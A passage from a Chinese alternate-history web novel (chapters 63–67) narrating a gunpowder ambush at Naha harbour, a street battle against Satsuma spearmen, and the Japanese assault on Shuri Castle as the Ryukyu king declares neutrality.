“大人救命!我们被堵在码头了!那些清国人太猛了,我们撑不了多久了!” “什么?”山本清猛然转身,望远镜差点脱手,“是不是陈逸风的本阵?” 他重新举起望远镜,很快就在混乱的战场中找到了那面醒目的大旗。旗帜在夜风中猎猎作响,上面的“陈”字仿佛在向他示威。 “太好了!终于上钩了!”山本清激动得浑身颤抖,眼中闪烁着疯狂的光芒。 跪着的浪人们面面相觑,其中一人突然反应过来:“上钩?你...你敢耍我们!” 话音未落,早已准备好的士兵手中的竹枪便穿透了他们的咽喉。鲜血喷溅在瞭望台的木板上,很快就被夜色吞噬。 山本清对脚下的尸体视若无睹,他现在满脑子都是等待已久的复仇。十年前的耻辱,今晚终于可以洗刷。他的手指不自觉地摸向腰间的短刀,那是他在流放地保存的最后一件武器。 “那群忍者怎么还不动手?”他咬牙切齿地低语,唾沫星子几乎要喷出来,“雾隐小鬼这个贱人,老子花了五百贯买她,还伺候了她三天,现在居然敢拖延?” 此时的雾隐小鬼正被野平太缠住。她那张精致的面具下露出一双凌厉的眼睛,手中的苦无在月光下闪烁着寒光。 “杀了那小鬼!”雾隐小鬼一声令下,几名黑衣忍者立即消失在夜色中。 街巷之中,兵太正在拼命奔跑。他的呼吸急促,每一步都像踩在刀尖上。身后追兵的脚步声越来越近,但他已经顾不上身体的疼痛,眼中只有那面陈字战旗。 一名黑衣忍者突然从屋顶跃下,像猎豹一样扑向兵太。“站住!”忍者厉声喝道。 兵太猛然回身,腰间的肋差划破空气。刀光闪过,忍者的两根手指应声而落,鲜血溅在墙上。 忍者发出一声凄厉的惨叫,随即一脚将兵太踹在墙上。兵太感觉五脏六腑都要移位,一口鲜血喷涌而出。 “小杂种,我要把你碎尸万段!”忍者掏出手里剑,脸上露出狰狞的笑容。月光下,他的獠牙闪烁着令人作呕的光芒。 兵太靠在墙角,眼皮低垂。他的呼吸微弱,看上去已经失去了抵抗能力,但他的手指仍然紧握着肋差。 “背叛日本的耻辱,该死!”忍者举起手里剑,杀意弥漫。 兵太嘴角微动:“耻辱?当我们做奴隶的时候,日本在哪里...” 就在忍者分神的瞬间,兵太突然暴起,肋差如同毒蛇出洞,直取要害!忍者仓促躲闪,左肋还是被划出一道血痕。 兵太趁机甩开对手,继续向码头狂奔。他的脚步踉跄,但眼神坚定。身后的忍者正要追击,一把太刀突然从背后刺穿了他的心脏。是野平太! “你这小子,这几日跟没白跟着我,进步的很快”野平太一边冲向雾影小鬼,一边朝着兵太喊。 而此时,雾隐小鬼已经趁机逃脱。她像幽灵一般掠过街巷,飞身掠过兵太时,一枚淬毒暗器无声射出。 兵太应声倒地,他感觉腿部一阵剧痛,随即开始麻木。毒性正在迅速蔓延。 “兵太!”一声凄厉的呼喊划破夜空,千夏扑了过来。她的头发凌乱,衣服上沾满了血迹和尘土。 她不顾野平太的阻拦,用嘴吸吮弟弟腿上的伤口。腥甜的味道在口中蔓延,但她丝毫不在意。 “姐姐...我必须去码头...”兵太挣扎着要站起来,他的脸色已经开始发青。 第六十三章 那霸港码头爆炸 野平太按住他的肩膀:“你先休息,我去追雾隐小鬼!”说完,他飞身上了房顶,消失在夜色中。 千夏扶起兵太,姐弟俩踉踉跄跄向码头奔去。毒性开始发作,两人的视线都变得模糊。街道在他们眼中扭曲变形,每一步都像踩在棉花上。 码头上传来一阵欢呼,那是陈逸风又击退了一波进攻。战旗在夜风中猎猎作响,给了兵太姐弟最后的希望。 看到飘扬的大旗,兵太姐弟爆发出最后的力量。他们的嘴唇已经发紫,但眼神依然坚定。 “陈大人小心!码头有火药!”千夏用不太标准的中文大喊。她的声音嘶哑,带着绝望的力量。 “火药...埋伏...”兵太也使出全身力气吼道。他感觉喉咙像被火烧一样疼。 就在这时,一道人影从天而降。月光下,雾隐小鬼的面具闪烁着诡异的光芒。 “去死吧,清国奴!”她厉声尖叫,火把已经掷向货物堆。火光在夜空中划出一道刺目的弧线。 码头的木板在月光下泛着幽光,仿佛正等待着这场大火的洗礼。空气中弥漫着火药的气味,死神的镰刀已经高高举起。 孟明蛇站在码头边缘,眉头紧锁。他的目光扫过港口四周,那些若隐若现的黑影让他心头一紧。多年的江湖经验让他嗅到了危险的气息。 “大人,属下觉得不太对劲。”孟明蛇压低声音靠近陈逸风,“今晚码头太安静了。” 陈逸风轻轻颔首,眼神凝重。码头上的货物堆积如山,却不见往日来来往往的脚夫。空气中弥漫着一丝若有若无的硝烟味,让人心生警惕。 突然,兵太的声音划破夜空:“码头有火药!” 孟明蛇瞬间反应过来,目光死死盯着夜空中那道突然亮起的火光。那轨迹,那气息,分明是日本特制的火流星!在下关之战中,这种可怕的武器曾经让无数清军将士葬身火海。 “保护大人!”孟明蛇怒吼一声,如猛虎般扑向陈逸风。 其他护卫也瞬间反应过来,纷纷扑向自家大人。一层又一层的人墙在电光火石间形成。陈逸风被压在最下面,几乎喘不过气来。 “让开!都给我让开!”陈逸风急切地喊道,声音里带着焦急和愤怒。他不愿看到手下为自己送命。 可惜,一切都太迟了。 火流星划过夜空,如同一道死亡的信使,准确地钻入堆积如山的货物中。瞬间,惊天动地的爆炸声响彻整个港口。 气浪席卷而来,将周围的人群掀飞。木屑、碎石如同利箭般四处横飞。码头上那面象征着陈逸风威望的大旗瞬间支离破碎,最后孤零零地插在被炸裂的木板缝隙中,无声地诉说着这场灾难。 惨叫声、哀嚎声此起彼伏。鲜血染红了码头的木板,残肢断臂散落各处。两百多条人命就这样在转瞬间消逝,更多的人被气浪掀翻,痛苦地呻吟着。 “清国奴们,去死吧!”雾隐小鬼站在远处的屋顶上放声大笑,手中又举起两枚火流星,眼中闪烁着疯狂的光芒。 突然,一道寒光从她背后袭来。野平太手持长刀,招招直取要害。刀光凌厉,带着无法遏制的怒意。 “畜生!”野平太咬牙切齿,“竟敢用这种卑鄙手段!” 雾隐小鬼身形灵活,堪堪避过致命一击。她的脸上闪过一丝慌乱,显然没料到会有人能在这种混乱中找到她的位置。 “哼,多管闲事的家伙。”雾隐小鬼冷笑一声,转身就往后山逃去。 港口上空,商船的汽笛声此起彼伏。一艘艘商船缓缓推开炮门,黑洞洞的炮口对准了码头。这些洋人商人们冷眼旁观着这场混战,却始终保持着所谓的“中立”态度。 “不必介入。”美国商船“进取号”上的舰长放下望远镜,“让这些东方人自己解决他们的纷争。” “同意。”英国商船“伊丽莎白号”的舰长通过信号灯回应,“没有了陈逸风,这些清国人翻不起什么大浪。” 就在此时,北方海面突然出现了一支日本关船舰队。十几艘军舰破浪而来,船上火把通明,清晰可见甲板上来回奔走的士兵。 “海况混乱,拒绝让路!”美国“进取号”突然打出信号。 其他商船见状,纷纷效仿。虽然他们不愿直接介入战斗,但给日本人使绊子却乐在其中。这些洋人商船排成一列,严严实实地挡住了日本舰队的去路。 日本关船上灯火通明,士兵们神色紧张。他们刚在下关之战中吃了大亏,此刻面对这些装备精良的西方商船,不敢轻举妄动。 浓重的硝烟在码头上空缓缓散去,海风裹挟着血腥味四处飘散。野平太擦了擦额头的血迹,目光在混乱的战场上快速扫过,追丢了那个雾隐忍者的身影,只得匆忙往回赶。 夜色已深,月光被乌云遮挡,只有零星的火把在码头四周闪烁。随着脚步的临近,眼前的惨状让他心头一紧。 地面上到处都是残破的尸体,受伤的人群四散哀嚎。商贩们东倒西歪地在地上爬行,有人耳朵被炸弹震聋,茫然地原地打转。重伤号在地上抽搐不止,鲜血渗入码头的石缝中。角落里,被吓傻的妇孺抱成一团,瑟瑟发抖。 那座由人体搭建的巨大叠罗汉依旧矗立在原地,顶层的士兵已经七窍流血,死壮惨烈。鲜血顺着人墙往下流淌,在地面上汇成一片暗红。 “快!快救人!”瑾周信撕心裂肺的喊声划破夜空,他和孙忠义像疯了一样冲向人墙,带着幸存的士兵拼命往下扒。 野平太也冲了过去,有几个不认识他的华人想动手阻拦,被瑾周信他们及时拦住。 “别管他,野平太是自己人!”瑾周信一边翻找一边大喊,“快帮忙救人!军师被压在下面了!” 整整翻了三层尸体,才看到还有人在微弱地喘气。腐烂的血肉味道扑面而来,野平太强忍着呕吐感,继续挖掘。地上的尸体已经冰冷,但还保持着护住下层的姿势。 “这些士兵...到死都在保护军师...”孙忠义声音哽咽,手上的动作却不敢有丝毫停顿。 又过了漫长的十几分钟,被压得几近窒息的陈逸风终于被挖了出来。此时的他已经昏迷不醒,衣衫破烂,浑身是血。 “军师!军师醒醒啊!”瑾周信和孙忠义一边掐人中洒凉水,一边泪流满面。周围的士兵和百姓纷纷围拢过来。 “先生,您可千万不能有事啊!” “军师要是出了事,我们琉球可怎么办...” “求求您睁开眼...” 此时远处传来一阵喧哗,只见沈达华浑身是血地冲了过来。看到如此惨状,他喉头一滑,硬生生咽下了那口血。所幸夜色已深,无人察觉他的异样。 野平太环顾四周,看着愈发拥挤的人群,突然暴喝一声:“八嘎!都给我闭嘴!”他不由分说,一把扛起陈逸风,直奔海边。 第六十四章 琉球王保持中立 “混蛋!你要干什么!” “快拦住他!” 众人还没反应过来,就见野平太把陈逸风的脑袋往海水里一摁。冰冷的海水瞬间灌入口鼻,陈逸风猛地惊醒过来。 “咳咳...咳咳...”陈逸风剧烈地咳嗽着,“哪个...哪个王八蛋...” 沈达华连忙掏出水壶给他灌了几口。温热的水让陈逸风缓过神来,他靠在沈达华肩上,目光扫过满地狼藉,眼泪不受控制地流下来。 那些保护他的士兵,都是他一手训练出来的亲信。短短半年时间,他们从普通百姓练成了精锐。如今为了护他周全,整整十五人当场阵亡。 “军师,您没事就好。”瑾周信抹着眼泪说道,“要不是这些兄弟拼死相护...” 陈逸风深吸一口气,强迫自己冷静下来。他缓缓站起身,擦干眼泪,目光投向半山腰的首里城。城墙上火光闪动,隐约能看到士兵们正在加固防御。 “现在不是悲伤的时候。”陈逸风的声音有些嘶哑,“第一步已经完成,接下来...” 他一瘸一拐地走向那面血染的陈字认旗,旗帜在海风中沙沙作响。鲜血已经凝固,将白色的旗面染得斑驳。 “该去守城了!”陈逸风攥紧旗杆,“传我命令,所有能行动的士兵,立即赶往首里城!分批转移伤员,严防敌军偷袭!” “是!”众人齐声应和。 夜色渐深,海浪拍打着码头,冲刷着地上的血迹。零星的火把在人群中移动,朝着首里城的方向汇聚。沉重的脚步声回荡在空旷的街道上,仿佛在为死去的勇士送行。 野平太站在码头边缘,望着渐行渐远的队伍,眉头紧锁。他从怀中掏出一个破损的卷轴,上面写着“雾隐特种部队行动计划”几个字。 “那个小鬼,不会这么简单就撤退...”他喃喃自语,“恐怕,这只是个开始...” 首里城头,火光冲天。 浓烟在夜色中翻滚,远处的喊杀声此起彼伏,宛如潮水般涌来。城墙上的火把被寒风吹得不停摇曳,将守军们的影子投射在地面上,拉得老长。 年轻的尚泰王站在城头,双手紧紧攥着栏杆。他能清晰地看到远处港口的战火,能听到此起彼伏的厮杀声,那些声音像是无形的利刃,一下下剜着他的心。 “砰!”又是一声巨响,远处的渔村升起了新的火光。 “陛下!”金长森快步走来,这位年过半百的老臣脸上写满焦虑,“事不宜迟,我们必须立刻联系桦山栗源,打开城门迎接日本军队!” 尚泰王没有说话,只是望着远方燃烧的火光。夜风吹动他的衣袍,发出簌簌的响声。 “陛下,您或许以为我是亲日派。”金长森压低声音,眼中闪过一丝痛楚,“但我所求的,不过是琉球王室宗庙永存。” 他走到城墙边,指着远处道:“三千精锐足轻就驻扎在城外,十多艘战船封锁了港口,更别提遍布全岛的十数万日本民众。而我们能用的,不过是这区区三千守军。” 尚泰王的手指在栏杆上收紧,指节因用力而发白。城头的火把照在他脸上,映出一片阴晴不定的神色。 “陛下不可听信谗言!”一声暴喝打破了沉寂。 蔡瑁带着林远渺匆匆赶来,两人的铠甲上还带着血迹。这两位亲中派重臣显然刚从战场上回来,连护具都来不及卸下。 “您看看满城的火光,听听这喊杀声!”蔡瑁指向远方,声音因激动而微微发颤,“十万华人已经揭竿而起,这还不够说明问题吗?我们根本不是孤军奋战!” “荒谬!”金长森冷笑一声,“就凭陈逸风手下那点乌合之众,也想掀起这样的风浪?醒醒吧!” “金大人!”林远渺上前一步,眼中闪着愤怒的光芒,“您这是要把琉球推向深渊!日本人的野心,您难道看不清吗?” “我看不清?”金长森反唇相讥,“倒是你们,被清廷的许诺迷了眼!清军离这里有多远,你们心里没数吗?” “至少清廷从未想过吞并我琉球!”蔡瑁怒道。 金长森冷哼一声:“是啊,他们只是想让我们做他们的藩属国罢了!” 林远渺突然跪倒在地,声音带着哭腔:“陛下,只要您一声令下,发动全民抗击日寇,胜利必将属于我们!琉球子民绝不会坐视国土沦丧!” “疯子!你们这是要害死琉球!”金长森暴跳如雷,声音中带着几分绝望,“鹿儿岛离这里只有一天航程,而泉州要三四天!等清军赶到,我们早就完了!” 三个重臣争执不下,怒目而视,眼看就要动手。守城的士兵们面面相觑,不知该如何是好。 突然,远处的码头传来一声惊天动地的爆炸声。巨大的火球冲天而起,将半边天空都映成了血红色。震耳欲聋的轰鸣声中,夹杂着凄厉的惨叫。 “那是...那是粮仓!”一个士兵失声叫道。 尚泰王的身体微微颤抖。粮仓被毁,意味着城中即便坚守,也撑不过三天。 “我军在北岸的据点已经失守了!”又有士兵报信,声音中带着掩饰不住的惊慌。 混乱中,远处传来阵阵号角声。那是日军的进攻信号。 城下喊杀声渐起,火把的光芒如同流动的河流,向城墙涌来。 “陛下!”金长森跪地叩首,“请立刻决断!我们经不起再拖延了!” “不可啊陛下!”蔡瑁和林远渺也跪了下来,“抗击倭寇,才是我琉球的生路!” 尚泰王闭上眼睛,深吸一口气。他能感受到所有人的目光都聚集在自己身上,期待着、恳求着。每一个眼神都仿佛带着千钧重量,压得他喘不过气来。 远处的火光映照着他苍白的面容。这一刻,他忽然觉得自己不过是个困在王座上的囚徒,被命运的浪潮推着向前,却不知该往哪个方向走。 “关闭城门。”良久,他终于开口,声音沙哑而疲惫,“我们保持中立,谁都不帮。” 话音刚落,金长森露出欣慰的笑容,而蔡瑁和林远渺则如遭雷击,面如死灰。 守军们立即行动起来,沉重的城门缓缓关闭。轰隆声中,首里城就这样成了风暴中心的一座孤岛。 尚泰王伫立城头,望着远处的战火,心中五味杂陈。他知道,这个决定或许能让琉球暂时避开风雨,但未来的路,只怕会更加艰难。 然而此时,他已经别无选择。 燃烧的那霸港在夜色中宛如一片火海,滚滚浓烟遮蔽了月光,映红了半边天空。 无数华人在街道上奔走,化作黑色的洪流,朝着同一个方向涌去。他们的脚步声如雷,带着绝望中的希望,带着恐惧中的勇气。妇孺的哭喊声,老人的咳嗽声,孩童的啼哭声,交织成一曲悲壮的逃难交响曲。 首里城巍峨的轮廓在远处若隐若现,那是陈逸风计划中最重要的堡垒。古老的城墙仿佛在诉说着百年的沧桑,此刻却要迎来又一场惊心动魄的较量。 第六十五章 首里城是最后的希望 作为这场战役的总指挥,他将整个计划分为三步:先救出城中华人,再与琉球王国军队在首里城会师,最后以外交施压迫使岛津家不得不退。每一步都危机重重,稍有差池就会满盘皆输。 陈逸风站在一处高台上,月光勾勒出他削瘦却挺拔的身影。他的衣衫被冷汗浸透,指甲深深陷入掌心,但声音依然洪亮:“加快速度!我们必须在天亮前到达首里城!” 人群中爆发出此起彼伏的应和声。一个中年男子扛着昏迷的妻子,额头上的汗水不停滑落:“陈先生,我们跟着您走!” “只要攻入琉球王城,只要守到天亮,胜利就是我们的!”陈逸风的声音在夜空中回荡。他很清楚,现在最重要的就是稳住军心。这些没经过训练的平民,之所以愿意跟着他拼命,除了走投无路外,更需要一个领袖来指引方向。 绿林特种部队的战士们穿梭在人群中,他们身着便装,腰间藏着短刀,肩上背着火枪。“杀一个够本,一换二都不吃亏!”一名战士高声喊道,“别怕,跟着陈先生干!” “陈先生在前面带路,我们怕什么!”另一名战士接过话茬,“大伙儿都快点,别掉队!” 沈达华站在陈逸风身边,默默观察着这一切。他的目光在人群中扫过,眼底闪过一丝欣慰。这支临时组建的队伍,虽然装备简陋,却胜在意志坚定。 “王爷。”陈逸风转向沈达华,声音有些沙哑,“你看这气势,比起当年太平天国可如何?” 沈达华沉默片刻,缓缓道:“不同,完全不同。当年我们靠的是信仰,而今天,这些人是为了活下去。” 就在此时,前方突然传来一阵骚动。人群如同被惊起的鸟群,发出阵阵惊呼。 只见一支全副武装的日本足轻队从山坡上压了下来。他们身着统一的甲胄,手持长矛,在月光下闪烁着冰冷的寒光。整齐的步伐声如同死神的脚步,一步步逼近慌乱的人群。 “吼吼...哈!”震耳欲聋的喊声中,三千精锐分成三路,封锁了通往首里城的主干道。他们的阵型如同一把巨大的剪刀,要将这支溃逃的队伍彻底切断。 山本清骑在马上,居高临下地打量着这群惊慌失措的华人。他的嘴角挂着轻蔑的笑意:“清国的败军,还想突围?” 陈逸风握紧了手中的火枪,瞄准了山本清的头部。这是他最后的机会,必须制造混乱,才能为大家争取突围的时间。 “你们的首领陈逸风已经...”山本清的话还没说完,一声清脆的枪响就打断了他的话。 子弹精准地击中他的头盔,金属相撞发出刺耳的声响。山本清只觉得脑袋嗡的一声,整个人摇晃着差点从马上栽下来。 “山本清已死!”陈逸风抓住机会大喊,声音中带着不容置疑的力量,“日本人已经慌了,快逃命啊!” 他的话立刻在人群中引起连锁反应。“山本死了!”“快跑啊!”“日本人不行了!”此起彼伏的呐喊声响彻夜空,搅得日军军心动摇。 几个胆小的足轻已经开始后退,山本清见状气得脸色发青,额头上的青筋突突直跳。“八嘎!”他扯着嗓子怒吼,“老子还活着!都给我上!” 绿林特种部队的战士们纷纷掏出武器,冲到人群前方组成防线。陈逸风快速装填子弹,同时下令:“老弱妇孺继续前进,能战之士留下断后!” 沈达华拔出长刀,刀锋在月光下泛着冷光:“我来挡住右翼。” 一名满脸伤疤的老兵握紧长矛:“左翼交给我们!” 血与火的夜晚才刚刚开始,首里城的轮廓依然那么遥远,但所有人都知道,那里是他们最后的希望。今夜注定是一个难眠之夜,每个人心中都只有一个信念:活下去。 硝烟弥漫的街道上,山本清立在长枪阵列的中央,铠甲映照着微弱的阳光。他面色沉静,眼神如刀般锐利,仿佛一头蓄势待发的猛虎正在审视猎物。 周围的萨摩足轻们虽在方才的冲突中经历短暂混乱,但在军官们的厉声号令下迅速列阵。整齐的盔甲在火光下闪烁着冷冽的光芒,长枪如林,散发着令人胆寒的杀气。 “准备!”山本清低沉的声音在阵中回荡。 足轻们的呼吸声逐渐变得粗重,他们都知道,接下来将是一场血战。 “刺!” 随着一声令下,密集锋利的长矛如毒蛇般猛然刺出。冰冷的枪尖在空气中划出致命的弧线,直指冲锋的人群。 惨叫声、怒吼声此起彼伏,温热的鲜血在街道的石板上蔓延。汹涌而来的人潮如浪花般被长枪阵一次次击退,残肢断臂散落一地。 空气中弥漫着血腥味,混合着火药的焦糊味道。陈逸风站在后方的高地上,双手紧握成拳,指甲深深陷入掌心。他看着一批批勇士倒在血泊中,心如刀绞。 “该死的!”他低声咒骂着,狠狠锤了下身边的墙壁,“火枪手呢?火力支援在哪里?” 几个火枪手正在不远处匆忙装填弹药,零星的枪声在战场上显得格外无力。稀疏的火力根本无法撼动对方严密的阵型。 “冷静点。”沈达华拍了拍他的肩膀,声音沉稳有力,“我们还有其他办法。” 他转身对着周围的将士们大声下令:“拆下门板!木板!准备陷阵!” 这一声令下,周围房屋的门板、床板瞬间被拆得七零八落。人群举着简陋的木盾,在绿林好手的带领下再次冲锋。木盾虽然粗糙,却能提供基本的防护。 “不要恋战!”一个老练的绿林好手高喊着,“找准空隙就往里冲!” 木盾拨开长矛,绿林好手们寻隙而入。但山本清的应对更快,仿佛早有准备。 “后退三步,重组阵型!”他沉着冷静的声音传来。 足轻们立即丢下前排的伤亡战友,迅速后撤。动作整齐划一,训练有素。重整后的阵型更加紧密,长枪的间隙也更小了。 “突刺!” 一波接一波的突刺让冲锋的人群再次陷入被动。木盾在长枪的冲击下逐渐破碎,后面的战士不得不用血肉之躯来填补缺口。 正当双方僵持不下时,远处传来整齐的脚步声。苗烈带着一支二十人的火枪队终于赶到了。他们神色疲惫,显然是快速赶路的结果。 “装填!”苗烈沉声喝道。 火枪手们娴熟地往枪膛里塞入火药,动作虽快却不慌乱。他们都知道,每一发子弹都可能决定战局。 陈逸风看到援军到来,眼中闪过一丝希望。他红着眼睛吼道:“给我打!全力开火!” 密集的枪声在街道间回荡,硝烟弥漫。萨摩足轻的阵型在火枪的威力下开始动摇。一排排士兵倒下,严密的阵型出现了裂痕。 但这种情况并没有持续太久。随着最后一声枪响,火枪队的弹药告罄。苗烈面色铁青,握紧了手中已经发烫的枪管。 第六十六章 众人舍命护军师 “先生!”瑾周信突然挺身而出,胸膛剧烈起伏,“火器没了又如何?我们决胜的心依然在,我们的血肉之躯亦是武器!” 他的话语像是点燃了导火索,周围的将士们纷纷握紧了手中的武器。即便是受伤的战士也在试图站起来,准备再次投入战斗。 陈逸风看着半山腰上重整旗鼓的敌军,又回头望向身后众人坚毅的眼神。他突然感到一股热血涌上心头。 “组建决死队!”他抄起认旗,左轮握在手中,“我打头阵!” 沈达华紧跟其后,手中的刀锋闪烁着寒光:“好!与先生同进退!” 孟明蛇也大步上前,眼中闪烁着战意:“敌人再强又如何?” 瑾周信握紧长剑,咬牙道:“今日便让他们见识见识我们的决心!” 一时间,将士们群情激奋。他们知道,这可能是最后的机会了。 山坡上,山本清注视着这支决死队,眼中闪过一丝讶异。他没想到这些人在如此不利的情况下还敢发起冲锋。 “全军准备!”他厉声喝道,“不要让一个人冲上来!” 然而,当他话音刚落,陈逸风已经带着决死队冲到了半山腰。左轮在他手中不停咆哮,每一发子弹都准确命中目标。 沈达华和孟明蛇在两侧掩护,他们的武器在阳光下划出道道寒光。瑾周信则带着一队人马从侧翼包抄,试图分散敌人的注意力。 鲜血在坡道上流淌,将本就泥泞的山路变得更加湿滑。但没有人退缩,也没有人畏惧。他们知道,身后就是他们要守护的一切。 “子弹打光了!”陈逸风将空了的左轮插回腰间,抽出一把短刀。 “那就用刀!”沈达华大吼着,“杀!” 决死队的冲锋如同一把尖刀,狠狠刺入敌阵。山本清指挥的部队虽然训练有素,但面对这种不要命的打法也开始动摇。 战斗持续着,惨叫声、兵器相撞的声音、怒吼声交织在一起。鲜血染红了整个山坡,但没有人退缩。 这是一场关乎生死存亡的战斗,每个人都在用生命书写着自己的信念。 黑夜里,燃烧的火光冲天而起,照亮了半边天际。一面认旗在狂风中猎猎作响,旗面上的“认”字在火光映照下格外醒目。 数万华人默默跟随在这面旗帜之下,杀气如潮水般在黑暗中弥漫。火光映照下,每个人的脸庞都显得格外坚毅,眼中闪烁着复仇的怒火。 山本清站在山坡上,面色阴晴不定。他死死捏住太刀刀柄的手在微微颤抖。夜风中,他衣襟上的勋章在火光下闪烁着暗淡的光芒。 “将军,敌军数量太多了!”一名副官脸色惨白,声音中带着难以掩饰的恐惧。 山本清没有回答,只是默默注视着山下蜂拥而来的人群。周围的士兵更是早已丧失斗志,原本坚不可摧的长矛阵已经摇摇欲坠。士兵们握着长矛的手在颤抖,有人开始不自觉地后退。 “稳住阵型!”山本清厉声喝道,声音中带着一丝嘶哑。 陈逸风站在山脚下,目光冷冷扫过山坡上的敌军。火光下,他那张年轻的脸庞显得异常沉稳。他嘴角勾起一抹嘲讽的弧度,左手食指在空中轻轻一晃。 “决死队,冲锋!”他的声音不算高,却如同惊雷般在夜空中炸响。 一声令下,数万人如怒涛般冲向山坡。喊杀声震天动地,脚步声如同滚滚雷鸣。火把的光芒在人群中晃动,宛如流动的火河。 陈逸风刚要冲在最前,却被人从后面狠狠拽了一把。他转身怒视,却见沈达华那张饱经沧桑的脸庞。 “军师,这种时候你可不能冲在前面。”沈达华眼中闪过一丝关切,“让我们这些老家伙来!” 话音未落,沈达华的身影已经如利箭般窜了出去。紧接着是孟明蛇、瑾周信、诸葛林、苗烈...一个接一个从他身边掠过,每个人脸上都带着视死如归的决然。 “你们这帮混蛋让开!”陈逸风在人群中被挤得东倒西歪,最后竟被生生挤到了后方。他气得直跺脚,但又无可奈何。 无奈之下,他只得跳上路边的一处石台。火光下,他的身影显得格外高大。“乡亲们,冲啊!”他的声音嘶哑却有力。 前线战况激烈,刀光剑影中不时传来惨叫声。孟明蛇如入无人之境,三两下就夺下数杆长矛。他的动作看似粗犷,实则暗含玄机,每一招都直指要害。 沈达华则带着一队人马从侧翼突入,找准敌军阵型的薄弱处猛攻。刀光剑影间,敌阵顿时大乱。喊杀声、惨叫声、兵器碰撞声交织在一起,构成了一曲惊心动魄的战歌。 山本清的脸色越发难看,面如死灰。他一边挥舞铁枪抵挡不断涌来的进攻,慢慢往后挪动脚步。汗水浸透了他的军服,但他已经顾不上这些了。 “天照大神在上...”他仰天长啸,声音中带着绝望和不甘。他握紧手中的铁枪,准备拼死一战。 但他的部下们显然没有这个觉悟。几名武士二话不说,硬是把他拖进了旁边的小巷。在火光的映照下,他们的身影很快消失在巷子深处。 陈逸风目睹这一切,忽然感到一阵眩晕。他双腿一软,从石台上跌落下来。幸好周围的战士们眼疾手快,及时将他搀扶住。 “我没事。”他摆摆手,声音有些虚弱。他掏出怀表看了眼,已是凌晨五点多,黎明即将来临。 就在这时,迈克匆匆赶来,脚步急促,脸上带着焦急的神色。他带来了五十公斤火药,这本该是个好消息,但他随即带来的消息却让所有人的心都沉了下去——桦山栗源正在进攻首里城。 “该死!”陈逸风暗骂一声,眉头紧皱。他的目光在众人脸上扫过,心中思绪万千。 迈克擦了擦额头的汗水,提出了一个建议。他的手指着陈逸风腰间那把“御赐”手枪,建议用这把手枪去说服海上的美国商船提供援助。 陈逸风陷入沉思。夜风吹动他的衣襟,火光在他脸上投下明暗不定的阴影。片刻之后,他抬起头,对孟明蛇说道:“你护送迈克过去。” 孟明蛇点点头,二话不说就带着迈克离开了。他们的身影很快消失在夜色中,只留下急促的脚步声渐渐远去。 此刻,在首里城南门外,桦山栗源已经率领大军抵达。他身材魁梧,声如洪钟,站在城下大声喊话: “请通报陛下,德川家老臣本多正信率部前来护卫朝廷...”他的声音在城墙间回荡,带着不容置疑的威严。 城头上,守军们面面相觑,不知该如何是好。而在城内,更多的人正在为即将到来的战斗做着准备。 第六十七章 日军围攻首里城 桦山栗源站在城墙上,目光越过层层叠叠的房舍,凝视着港口方向升腾的火光。他身形挺拔,着一袭墨黑色和服,腰间佩戴着一柄名贵的武士刀。在火光映照下,他的面容显得格外深沉。 竹中井上立于他身侧两步之遥,神情专注地观察着远处的战况。他时不时转头看向自己的主君,想要揣测对方的心思。 “竹中君。”桦山栗源突然开口,声音低沉,“你真的相信陈逸风已死?” 竹中井上闻言一怔,随即谨慎地回答:“雾隐等人实力不俗,又在港口设下埋伏。按理说,成功的可能至少有六七成。” “呵。”桦山栗源发出一声冷笑,目光中闪过一丝不屑,“他不仅没死,这场爆炸只会让他变得更加疯狂。你听,战火正在向首里城蔓延。” 话音未落,远处又传来一声巨响。火光冲天而起,照亮了半边夜空。喊杀声越发密集,仿佛潮水般涌向城墙。 “我们研究中国人数百年,从未放松过警惕。”桦山栗源转身踱步,沉声道,“崖山之后,汉人武勇日渐衰退。即便明朝中兴,也难复汉唐雄风。但那片土地上的人,从不缺少惊才绝艳之辈。” 竹中井上双眉微蹙:“大人,可是您初见陈逸风时,对中国可是推崇备至,为何现在...” “那片大陆太过庞大。”桦山栗源打断他的话,眼中闪过一丝忌惮,“虽然大多数人已沦为奴隶,但基数实在惊人。哪怕万里挑一,也足以诞生改天换地的英雄。” 城头突然传来一阵骚动,打断了两人的谈话。火把的光芒中,琉球国王尚泰出现在城墙上。他身着华贵的王服,却面色苍白,神情惶恐。 “可是桦山家老在此?”尚泰王声音颤抖地问道。 几名护卫簇拥着他,其中蔡瑁和林远渺神情戒备,手按刀柄。 桦山栗源转身向尚泰王深深一躬:“陛下,请开城门,臣为保护您而来。那霸港暴徒横行,连洋人商船都已避走。若不及时止乱,恐怕...” “恕难从命。”蔡瑁突然上前一步,打断了桦山栗源的话,“天明之前,城门不开。这是陛下的命令。” 桦山栗源脸色骤变,怒视着蔡瑁:“我在问陛下,你何故僭越?莫非已将陛下软禁?两百年邦交,难道还信不过我日本?” 尚泰王张了张嘴,却被林远渺轻轻拉住。他脸上露出犹豫之色,迟迟不敢表态。 就在此时,一名传令兵慌慌张张地冲上城头,跪倒在桦山栗源面前:“大人!山本清大将军最终战败了。” “八嘎!”桦山栗源暴怒,一脚将传令兵踹翻。他转身对着城墙上的众人大喊:“陛下已被叛徒包围!蔡瑁、林远渺皆是清国走狗!” 话音未落,早已埋伏在城下的日本武士纷纷现身。木梯搭上城头,弓箭手齐发,武士和忍者蜂拥而上。 城墙上顿时混战一片。刀光剑影中,惨叫声此起彼伏。蔡瑁拔刀迎敌,身手矫健,一连斩杀数名武士。林远渺则护着尚泰王快速后退。 但突然间,宫中传来一阵骚动。有人高呼“清国人已死”,火光从宫殿深处亮起。内应外合之下,首里城危在旦夕。 桦山栗源立于城头,看着混乱的战场,嘴角露出一丝冷笑。他握紧腰间的武士刀,刀锋在火光下泛着寒芒。 竹中井上快步上前:“大人,要派人去追杀陈逸风吗?” “不必。”桦山栗源摇头,“让他先闹。只要控制住首里城,他插翅也难飞。况且...”他顿了顿,眼中闪过一丝深邃,“这场戏才刚刚开始。” 城中的厮杀声越发激烈。时不时有宫女和侍从尖叫着逃窜,更多的日本武士从四面八方涌来。首里城的夜空被火光映得通红,仿佛预示着一个血腥的黎明即将到来。 蔡瑁在战斗中不断后退,身上已添几处伤痕。他看着逐渐被攻破的城墙,眼中闪过一丝悲愤。但他依然咬牙坚持,誓要保护琉球最后一点尊严。 然而,当越来越多的内应暴露,当宫中的火光越烧越旺,当日本武士如潮水般涌入城中,一切似乎都已成为定局。首里城的陷落,只是时间问题。 二百五十年来,这片土地早已习惯了日本人的铁腕统治。从国王到百姓,恐惧已深入骨髓。 